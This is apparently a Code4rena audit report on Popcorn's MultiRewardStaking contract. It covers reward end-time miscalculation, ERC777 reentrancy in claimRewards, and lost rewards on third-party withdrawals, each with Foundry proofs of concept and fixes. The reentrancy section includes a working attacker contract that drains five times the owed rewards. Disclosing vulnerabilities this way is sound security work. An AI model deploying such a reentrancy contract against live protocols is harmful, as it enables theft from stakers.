Popcorn contest - waldenyan20's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L305-L312

Vulnerability details

Impact

When the reward speed is changed in MultiRewardStaking, the new end time is calculated based off of the balance of the reward token owned by the contract. This, however, is not the same as the number of reward tokens that are left to be distributed since some of those tokens may be owed to users who have not collected their rewards yet. As a result, some users may benefit from earning rewards past the end of the intended reward period, and leaving the contract unable to pay the rewards it owes other users.

Proof of Concept

A simple Foundry test I wrote demonstrates that the contracts fail to calculate the rewards properly after the reward speed is changed:

// Docgen-SOLC: 0.8.15

pragma solidity ^0.8.15;

import { Test } from "forge-std/Test.sol";
import { SafeCastLib } from "solmate/utils/SafeCastLib.sol";
import { MockERC20 } from "./utils/mocks/MockERC20.sol";
import { IMultiRewardEscrow } from "../src/interfaces/IMultiRewardEscrow.sol";
import { MultiRewardStaking, IERC20 } from "../src/utils/MultiRewardStaking.sol";
import { MultiRewardEscrow } from "../src/utils/MultiRewardEscrow.sol";

contract AuditTest is Test {
  using SafeCastLib for uint256;

  MockERC20 stakingToken;
  MockERC20 rewardToken1;
  MockERC20 rewardToken2;

  IERC20 iRewardToken1;
  IERC20 iRewardToken2;

  MultiRewardStaking staking;
  MultiRewardEscrow escrow;

  address alice = address(0xABCD);
  address bob = address(0xDCBA);
  address feeRecipient = address(0x9999);


  bytes32 constant PERMIT_TYPEHASH =
    keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

  event RewardInfoUpdate(IERC20 rewardsToken, uint160 rewardsPerSecond, uint32 rewardsEndTimestamp);
  event RewardsClaimed(address indexed user, IERC20 rewardsToken, uint256 amount, bool escrowed);

  function setUp() public {
    vm.label(alice, "alice");
    vm.label(bob, "bob");

    stakingToken = new MockERC20("Staking Token", "STKN", 18);

    rewardToken1 = new MockERC20("RewardsToken1", "RTKN1", 18);
    rewardToken2 = new MockERC20("RewardsToken2", "RTKN2", 18);
    iRewardToken1 = IERC20(address(rewardToken1));
    iRewardToken2 = IERC20(address(rewardToken2));

    escrow = new MultiRewardEscrow(address(this), feeRecipient);

    staking = new MultiRewardStaking();
    staking.initialize(IERC20(address(stakingToken)), IMultiRewardEscrow(address(escrow)), address(this));
  }

  function _addRewardToken(MockERC20 rewardsToken) internal {
    rewardsToken.mint(address(this), 10 ether);
    rewardsToken.approve(address(staking), 10 ether);

    staking.addRewardToken(IERC20(address(rewardsToken)), 0.1 ether, 10 ether, false, 0, 0, 0);
  }

  function test__endtime_after_change_reward_speed() public {
    _addRewardToken(rewardToken1);

    stakingToken.mint(alice, 1 ether);
    stakingToken.mint(bob, 1 ether);

    vm.prank(alice);
    stakingToken.approve(address(staking), 1 ether);
    vm.prank(bob);
    stakingToken.approve(address(staking), 1 ether);

    vm.prank(alice);
    staking.deposit(1 ether);

    // 50% of rewards paid out
    vm.warp(block.timestamp + 50);

    vm.prank(alice);
    staking.withdraw(1 ether);
    assertEq(staking.accruedRewards(alice, iRewardToken1), 5 ether);

    // Double Accrual (from original)
    staking.changeRewardSpeed(iRewardToken1, 0.2 ether); // Twice as fast now

    vm.prank(bob);
    staking.deposit(1 ether);

    // The remaining 50% of rewards paid out
    vm.warp(block.timestamp + 200);

    vm.prank(bob);
    staking.withdraw(1 ether);
    assertEq(staking.accruedRewards(bob, iRewardToken1), 5 ether);
  }

}

The output of the test demonstrates an incorrect calculation:

[FAIL. Reason: Assertion failed.] test__endtime_after_change_reward_speed() (gas: 558909)
Logs:
  Error: a == b not satisfied [uint]
    Expected: 5000000000000000000
      Actual: 20000000000000000000

Test result: FAILED. 0 passed; 1 failed; finished in 6.12ms

Notice that the amount of reward tokens given to Bob is more than the amount owned by the contract!

Tools Used

I reproduced the bug simply by adding a test within the existing foundry project.

Recommended Mitigation Steps

There is a nice accounting trick to make sure the remaining time is calculated correctly without needing to keep track of how much you owe to users that has not been paid out yet. I would suggest changing the vulnerable code in changeRewardSpeed to:

    uint32 prevEndTime = rewards.rewardsEndTimestamp;

    uint256 remainder = prevEndTime > block.timestamp ? (uint256(prevEndTime) - block.timestamp) * rewards.rewardsPerSecond : 0;

    uint32 rewardsEndTimestamp = _calcRewardsEnd(
      block.timestamp.safeCastTo32(),
      rewardsPerSecond,
      remainder
    );

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L186

Vulnerability details

Impact

Some implementations of ERC20 tokens involve mechanisms for malicious actors to reenter into contracts. Namely, ERC777 is a common standard that extends ERC20 and allows a user to execute code upon receipt of tokens. This poses an issue for the current implementation of claimRewards() that allows malicious users to steal more reward tokens than they have earned.

This stems from the fact that the code fails to follow the "checks effects interactions" pattern. In the below code, the accrued rewards of a user is set to zero after transferring the tokens over. Thus, a user could reenter into claimRewards() before their accrued rewards is set back to zero and double-collect.

if (escrowInfo.escrowPercentage > 0) {
        _lockToken(user, _rewardTokens[i], rewardAmount, escrowInfo);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, true);
      } else {
        _rewardTokens[i].transfer(user, rewardAmount); // @audit - reentrancy. Ex. ERC777
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, false);
      }

      accruedRewards[user][_rewardTokens[i]] = 0;

Proof of Concept

I have demonstrated such an attack through mocking an ERC777 token and showing how a malicious user can create a contract that reenters and steals the tokens. Below are the contracts I used:

// test/utils/mocks/MockERC777.sol

pragma solidity ^0.8.15;

import { ERC777 } from "openzeppelin-contracts/token/ERC777/ERC777.sol";

contract MockERC777 is ERC777 {

    constructor(
        string memory name_,
        string memory symbol_
    ) ERC777(name_, symbol_, new address[](0)) {
        
    }

    function mint(address account, uint256 amount) external {
        _mint(account, amount, "", "");
    }

}

// test/utils/mocks/MaliciousERC777User.sol
pragma solidity ^0.8.15;

import {IERC777Recipient} from "openzeppelin-contracts/token/ERC777/IERC777Recipient.sol";
import "../../../src/utils/MultiRewardStaking.sol";
import "../../../src/utils/Owned.sol";
import {IERC1820Registry} from "openzeppelin-contracts/utils/introspection/IERC1820Registry.sol";

contract MaliciousERC777Operator is IERC777Recipient, Owned {

    MultiRewardStaking public stakingContract;
    IERC20 public asset;
    uint256 public recursion;

    IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);

    bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");

    constructor(MultiRewardStaking _stakingContract) Owned(msg.sender) {
        stakingContract = _stakingContract;
        asset = IERC20(stakingContract.asset());
        _ERC1820_REGISTRY.setInterfaceImplementer(address(this), _TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
    }

    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external override {
        if (from == address(stakingContract)) {
            recursion++;
            if (recursion < 5) {
                stakingContract.claimRewards(address(this), stakingContract.getAllRewardsTokens());
                return;
            }
            recursion--;
        }
    }

    function claimRewards() external onlyOwner {
        stakingContract.claimRewards(address(this), stakingContract.getAllRewardsTokens());
    }

    function makeDeposit(uint256 amount) external onlyOwner {
        asset.transferFrom(msg.sender, address(this), amount);
        asset.approve(address(stakingContract), amount);
        stakingContract.deposit(amount);
    }

    function withdrawAll() external onlyOwner {
        stakingContract.withdraw(stakingContract.balanceOf(address(this)));
        asset.transfer(msg.sender, asset.balanceOf(address(this)));
        
        IERC20[] memory rewardsTokens = stakingContract.getAllRewardsTokens();
        for (uint256 i = 0; i < rewardsTokens.length; i++) {
            IERC20 token = rewardsTokens[i];
            token.transfer(msg.sender, token.balanceOf(address(this)));
        }
    }

}

I then modified MultiRewardStaking.t.sol to add a test against this attack that fails because I manage to steal 5x the amount of rewards that are deserved:

// test/MultiRewardStaking.t.sol

...
// New Imports
import "openzeppelin-contracts/utils/introspection/IERC1820Registry.sol";
import "./utils/mocks/MockERC777.sol";
import "./utils/mocks/MaliciousERC777User.sol";

contract MultiRewardStakingTest is Test, IERC777Recipient {
  ...
  // New fields
  MockERC777 rewardToken3;
  IERC20 iRewardToken3;
  IERC1820Registry registry;
  bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");

  function setUp() public {
    ...
    // New initializing code

    // mock ERC1820Registry contract in foundry
    vm.etch(
        address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),
        bytes(hex'608060405234801561001057600080fd5b50600436106100a5576000357c010000000000000000000000000000000000000000000000000000000090048063a41e7d5111610078578063a41e7d51146101d4578063aabbb8ca1461020a578063b705676514610236578063f712f3e814610280576100a5565b806329965a1d146100aa5780633d584063146100e25780635df8122f1461012457806365ba36c114610152575b600080fd5b6100e0600480360360608110156100c057600080fd5b50600160a060020a038135811691602081013591604090910135166102b6565b005b610108600480360360208110156100f857600080fd5b5035600160a060020a0316610570565b60408051600160a060020a039092168252519081900360200190f35b6100e06004803603604081101561013a57600080fd5b50600160a060020a03813581169160200135166105bc565b6101c26004803603602081101561016857600080fd5b81019060208101813564010000000081111561018357600080fd5b82018360208201111561019557600080fd5b803590602001918460018302840111640100000000831117156101b757600080fd5b5090925090506106b3565b60408051918252519081900360200190f35b6100e0600480360360408110156101ea57600080fd5b508035600160a060020a03169060200135600160e060020a0319166106ee565b6101086004803603604081101561022057600080fd5b50600160a060020a038135169060200135610778565b61026c6004803603604081101561024c57600080fd5b508035600160a060020a03169060200135600160e060020a0319166107ef565b604080519115158252519081900360200190f35b61026c6004803603604081101561029657600080fd5b508035600160a060020a03169060200135600160e060020a0319166108aa565b6000600160a060020a038416156102cd57836102cf565b335b9050336102db82610570565b600160a060020a031614610339576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b6103428361092a565b15610397576040805160e560020a62461bcd02815260206004820152601a60248201527f4d757374206e6f7420626520616e204552433136352068617368000000000000604482015290519081900360640190fd5b600160a060020a038216158015906103b85750600160a060020a0382163314155b156104ff5760405160200180807f455243313832305f4143434550545f4d4147494300000000000000000000000081525060140190506040516020818303038152906040528051906020012082600160a060020a031663249cb3fa85846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182600160a060020a0316600160a060020a031681526020019250505060206040518083038186803b15801561047e57600080fd5b505afa158015610492573d6000803e3d6000fd5b505050506040513d60208110156104a857600080fd5b5051146104ff576040805160e560020a62461bcd02815260206004820181905260248201527f446f6573206e6f7420696d706c656d656e742074686520696e74657266616365604482015290519081900360640190fd5b600160a060020a03818116600081815260208181526040808320888452909152808220805473ffffffffffffffffffffffffffffffffffffffff19169487169485179055518692917f93baa6efbd2244243bfee6ce4cfdd1d04fc4c0e9a786abd3a41313bd352db15391a450505050565b600160a060020a03818116600090815260016020526040812054909116151561059a5750806105b7565b50600160a060020a03808216600090815260016020526040902054165b919050565b336105c683610570565b600160a060020a031614610624576040805160e560020a62461bcd02815260206004820152600f60248201527f4e6f7420746865206d616e616765720000000000000000000000000000000000604482015290519081900360640190fd5b81600160a060020a031681600160a060020a0316146106435780610646565b60005b600160a060020a03838116600081815260016020526040808220805473ffffffffffffffffffffffffffffffffffffffff19169585169590951790945592519184169290917f605c2dbf762e5f7d60a546d42e7205dcb1b011ebc62a61736a57c9089d3a43509190a35050565b600082826040516020018083838082843780830192505050925050506040516020818303038152906040528051906020012090505b92915050565b6106f882826107ef565b610703576000610705565b815b600160a060020a03928316600081815260208181526040808320600160e060020a031996909616808452958252808320805473ffffffffffffffffffffffffffffffffffffffff19169590971694909417909555908152600284528181209281529190925220805460ff19166001179055565b600080600160a060020a038416156107905783610792565b335b905061079d8361092a565b156107c357826107ad82826108aa565b6107b85760006107ba565b815b925050506106e8565b600160a060020a0390811660009081526020818152604080832086845290915290205416905092915050565b6000808061081d857f01ffc9a70000000000000000000000000000000000000000000000000000000061094c565b909250905081158061082d575080155b1561083d576000925050506106e8565b61084f85600160e060020a031961094c565b909250905081158061086057508015155b15610870576000925050506106e8565b61087a858561094c565b909250905060018214801561088f5750806001145b1561089f576001925050506106e8565b506000949350505050565b600160a060020a0382166000908152600260209081526040808320600160e060020a03198516845290915281205460ff1615156108f2576108eb83836107ef565b90506106e8565b50600160a060020a03808316600081815260208181526040808320600160e060020a0319871684529091529020549091161492915050565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff161590565b6040517f01ffc9a7000000000000000000000000000000000000000000000000000000008082526004820183905260009182919060208160248189617530fa90519096909550935050505056fea165627a7a72305820377f4a2d4301ede9949f163f319021a6e9c687c292a5e2b2c4734c126b524e6c0029')
    );
    registry = IERC1820Registry(
        address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)
    );
    registry.setInterfaceImplementer(
      address(this),
      _TOKENS_RECIPIENT_INTERFACE_HASH,
      address(this)
    );
    rewardToken3 = new MockERC777("RewardsToken3", "RTKN3");
    iRewardToken3 = IERC20(address(rewardToken3));
  }

  // New helper
  function _addRewardToken777(MockERC777 rewardsToken) internal {
    rewardsToken.mint(address(this), 10 ether);
    rewardsToken.approve(address(staking), 10 ether);

    staking.addRewardToken(IERC20(address(rewardsToken)), 0.1 ether, 10 ether, false, 0, 0, 0);
  }

  // New test
  function test__claimRewards_reentrancy() public {
    // Add a reward token
    _addRewardToken777(rewardToken3); // adds at 0.1 per second

    stakingToken.mint(alice, 9 ether);
    stakingToken.mint(bob, 1 ether);

    // Make a normal deposit of 1 eth for Alice
    vm.prank(alice);
    stakingToken.approve(address(staking), 9 ether);
    vm.prank(alice);
    staking.deposit(9 ether);
    assertEq(staking.balanceOf(alice), 9 ether);

    // Make a malicious deposit of 1 eth for Bob
    vm.prank(bob);
    MaliciousERC777Operator attacker = new MaliciousERC777Operator(staking);
    vm.prank(bob);
    stakingToken.approve(address(attacker), 1 ether);
    vm.prank(bob);
    attacker.makeDeposit(1 ether);

    // Move 10 seconds into the future
    vm.warp(block.timestamp + 10); // 0.9 ether should be owed to Alice and 0.1 to Bob in rewards

    // Accrued rewards are correct by accounting
    vm.prank(alice);
    staking.withdraw(9 ether);
    assertEq(staking.accruedRewards(alice, iRewardToken3), 0.9 ether);

    vm.prank(bob);
    attacker.withdrawAll();
    assertEq(staking.accruedRewards(address(attacker), iRewardToken3), 0.1 ether);

    // Bob will steal more than he should
    vm.prank(bob);
    attacker.claimRewards();
    vm.prank(bob);
    attacker.withdrawAll();
    assertEq(iRewardToken3.balanceOf(bob), 0.1 ether);
  }

  // Other tests
  ...
  
}

The test gives the output below:

[FAIL. Reason: Assertion failed.] test__claimRewards_reentrancy() (gas: 1535184)
Logs:
  Error: a == b not satisfied [uint]
    Expected: 100000000000000000
      Actual: 500000000000000000

Test result: FAILED. 0 passed; 1 failed; finished in 3.23ms

Tools Used

I reproduced the bug simply by adding a test within the existing foundry project.

Recommended Mitigation Steps

1. Change the logic in claimRewards() to the below:

      accruedRewards[user][_rewardTokens[i]] = 0;
      if (escrowInfo.escrowPercentage > 0) {
        _lockToken(user, _rewardTokens[i], rewardAmount, escrowInfo);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, true);
      } else {
        _rewardTokens[i].transfer(user, rewardAmount); // @audit - reentrancy. Ex. ERC777
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, false);
      }

2. In general, adding reentrancy guards to every public/external function will save you from these sorts of vulnerabilities with little effort. I would recommend this to protect against other sorts of reentrancies that auditors may not be creative enough to discover.

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L127

Vulnerability details

Impact

Affected contract: MultiRewardStaking

When assets are withdrawn for user Alice by an approved user Bob to a receiver that is not Alice, the rewards are never accrued and the resulting staking rewards are lost forever. This is because accrueRewards is called on caller and receiver but never owner.

Third-party withdrawals are allowed by the fact that withdraw(uint256, address, address) exists in ERC4626Upgradeable and is never overwritten by a method with the same signature. Protocols composing with Popcorn will assume by the nature of this contract being an ERC4626 that this method is safe to use when it in fact costs the user significantly.

Proof of Concept

I created a test to reproduce this bug. When I included the below code within MultiRewardStaking.t.sol it passed, meaning Alice and Bob both had no rewards to claim by the end:

function test__withdraw_bug() public {
    // Add a reward token
    _addRewardToken(rewardToken1); // adds at 0.1 per second

    // Make a deposit for Alice
    stakingToken.mint(alice, 1 ether);
    vm.prank(alice);
    stakingToken.approve(address(staking), 1 ether);
    assertEq(stakingToken.allowance(alice, address(staking)), 1 ether);

    assertEq(staking.balanceOf(alice), 0);
    vm.prank(alice);
    staking.deposit(1 ether);
    assertEq(staking.balanceOf(alice), 1 ether);

    // Move 10 seconds into the future
    vm.warp(block.timestamp + 10); // 1 ether should be owed to Alice in rewards

    // Approve Bob for withdrawal
    vm.prank(alice);
    staking.approve(bob, 1 ether);

    // Bob withdraws to himself
    vm.prank(bob);
    staking.withdraw(1 ether, bob, alice);
    assertEq(staking.balanceOf(alice), 0);
    assertEq(stakingToken.balanceOf(bob), 1 ether);

    IERC20[] memory rewardsTokenKeys = new IERC20[](1);
    rewardsTokenKeys[0] = iRewardToken1;

    // Alice has no rewards to claim
    vm.prank(alice);
    vm.expectRevert(abi.encodeWithSelector(MultiRewardStaking.ZeroRewards.selector, iRewardToken1));
    staking.claimRewards(alice, rewardsTokenKeys);

    // Bob has no rewards to claim
    vm.prank(bob);
    vm.expectRevert(abi.encodeWithSelector(MultiRewardStaking.ZeroRewards.selector, iRewardToken1));
    staking.claimRewards(bob, rewardsTokenKeys);
  }

One can similarly create a test that doesn't expect the calls at the end to revert and that test will fail.

Tools Used

I reproduced the bug simply by adding a test within the existing foundry project.

Recommended Mitigation Steps

1. Fix the code by changing this line of code in _withdraw to instead call _accrueRewards(owner, receiver). It is okay to not accrue the rewards on caller since the caller neither gains nor loses staked tokens.

2. Add a similar test as above in MultiRewardStaking.t.sol that will fail if Alice is unable to withdraw 1 ether of rewards in the end.

Local variable name shadows global name

The variable owner is used in both these code snippets: https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L121-L134 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L445-L485 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L57-L98 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L211-L240 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L253-L278 https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/vault/Vault.sol#L664-L707

and it shadows the global owner variable from the OwnedUpgradeable contract being inherited. You should be careful about this and rename it to something like user or _owner, depending on the context, that is less ambiguous.

Add check that reward token is not the contract itself

https://github.com/code-423n4/2023-01-popcorn/blob/d95fc31449c260901811196d617366d6352258cd/src/utils/MultiRewardStaking.sol#L243-L253

There is a small chance this will actually happen, but just in case, to avoid the weird outcomes that come with having a reward token that is also the vault itself like compound effects, we should add a new revert statement:

    if (address(this) == address(rewardToken)) revert RewardTokenCantBeSelf();